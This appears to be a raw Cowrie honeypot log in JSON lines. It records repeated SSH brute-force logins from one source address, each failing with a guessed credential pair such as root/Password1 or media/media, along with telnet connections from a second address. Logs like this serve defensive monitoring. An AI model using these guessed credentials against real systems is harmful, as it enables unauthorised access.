{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:53.735908Z","src_ip":"176.65.132.129","session":"532ee4e0d519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.089301347732544,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:55.319117Z","src_ip":"45.58.127.90","session":"b6ab7283b1d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54084,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e3205727863","protocol":"ssh","message":"New connection: 176.65.132.129:54084 (159.203.135.109:22) [session: 5e3205727863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:55.786122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:55.791666Z","src_ip":"176.65.132.129","session":"5e3205727863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:55.874398Z","src_ip":"176.65.132.129","session":"5e3205727863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:56.119655Z","src_ip":"176.65.132.129","session":"5e3205727863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:57.204324Z","src_ip":"176.65.132.129","session":"5e3205727863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54086,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f2e3a911e55","protocol":"ssh","message":"New connection: 176.65.132.129:54086 (159.203.135.109:22) [session: 8f2e3a911e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:59.222100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:59.226599Z","src_ip":"176.65.132.129","session":"8f2e3a911e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:59.312061Z","src_ip":"176.65.132.129","session":"8f2e3a911e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:59.559132Z","src_ip":"176.65.132.129","session":"8f2e3a911e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:00.644764Z","src_ip":"176.65.132.129","session":"8f2e3a911e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54102,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fedee8b357e","protocol":"ssh","message":"New connection: 176.65.132.129:54102 (159.203.135.109:22) [session: 1fedee8b357e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:02.562257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:02.566962Z","src_ip":"176.65.132.129","session":"1fedee8b357e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:02.807867Z","src_ip":"176.65.132.129","session":"1fedee8b357e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:03.136857Z","src_ip":"176.65.132.129","session":"1fedee8b357e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:04.222023Z","src_ip":"176.65.132.129","session":"1fedee8b357e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45546,"dst_ip":"159.203.135.109","dst_port":22,"session":"74aa89fe07c0","protocol":"ssh","message":"New connection: 176.65.132.129:45546 (159.203.135.109:22) [session: 74aa89fe07c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:06.129777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:06.134639Z","src_ip":"176.65.132.129","session":"74aa89fe07c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:06.217881Z","src_ip":"176.65.132.129","session":"74aa89fe07c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:06.470911Z","src_ip":"176.65.132.129","session":"74aa89fe07c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:07.557352Z","src_ip":"176.65.132.129","session":"74aa89fe07c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52992,"dst_ip":"10.17.0.5","dst_port":23,"session":"739fb1dfc197","protocol":"telnet","message":"New connection: 45.58.127.90:52992 (10.17.0.5:23) [session: 739fb1dfc197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:08.912189Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45550,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6c41fe820b","protocol":"ssh","message":"New connection: 176.65.132.129:45550 (159.203.135.109:22) [session: de6c41fe820b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:09.555045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:09.559255Z","src_ip":"176.65.132.129","session":"de6c41fe820b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:09.641564Z","src_ip":"176.65.132.129","session":"de6c41fe820b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:09.888858Z","src_ip":"176.65.132.129","session":"de6c41fe820b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:10.974411Z","src_ip":"176.65.132.129","session":"de6c41fe820b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45552,"dst_ip":"159.203.135.109","dst_port":22,"session":"e61602154120","protocol":"ssh","message":"New connection: 176.65.132.129:45552 (159.203.135.109:22) [session: e61602154120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:12.905607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:12.909636Z","src_ip":"176.65.132.129","session":"e61602154120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:12.993697Z","src_ip":"176.65.132.129","session":"e61602154120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:13.239732Z","src_ip":"176.65.132.129","session":"e61602154120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:14.324653Z","src_ip":"176.65.132.129","session":"e61602154120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b98446d349c5","protocol":"ssh","message":"New connection: 176.65.132.129:45908 (159.203.135.109:22) [session: b98446d349c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:16.260996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:16.265874Z","src_ip":"176.65.132.129","session":"b98446d349c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:16.472831Z","src_ip":"176.65.132.129","session":"b98446d349c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:16.777754Z","src_ip":"176.65.132.129","session":"b98446d349c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53002,"dst_ip":"10.17.0.5","dst_port":23,"session":"874160951024","protocol":"telnet","message":"New connection: 45.58.127.90:53002 (10.17.0.5:23) [session: 874160951024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:16.996500Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:17.862103Z","src_ip":"176.65.132.129","session":"b98446d349c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42546,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5e5fb3da2c","protocol":"telnet","message":"New connection: 45.58.127.90:42546 (10.17.0.5:23) [session: 3e5e5fb3da2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:19.207478Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45924,"dst_ip":"159.203.135.109","dst_port":22,"session":"37f687dfd37e","protocol":"ssh","message":"New connection: 176.65.132.129:45924 (159.203.135.109:22) [session: 37f687dfd37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:19.952793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:19.960857Z","src_ip":"176.65.132.129","session":"37f687dfd37e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:20.044009Z","src_ip":"176.65.132.129","session":"37f687dfd37e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:20.292850Z","src_ip":"176.65.132.129","session":"37f687dfd37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:21.378934Z","src_ip":"176.65.132.129","session":"37f687dfd37e","protocol":"ssh"}
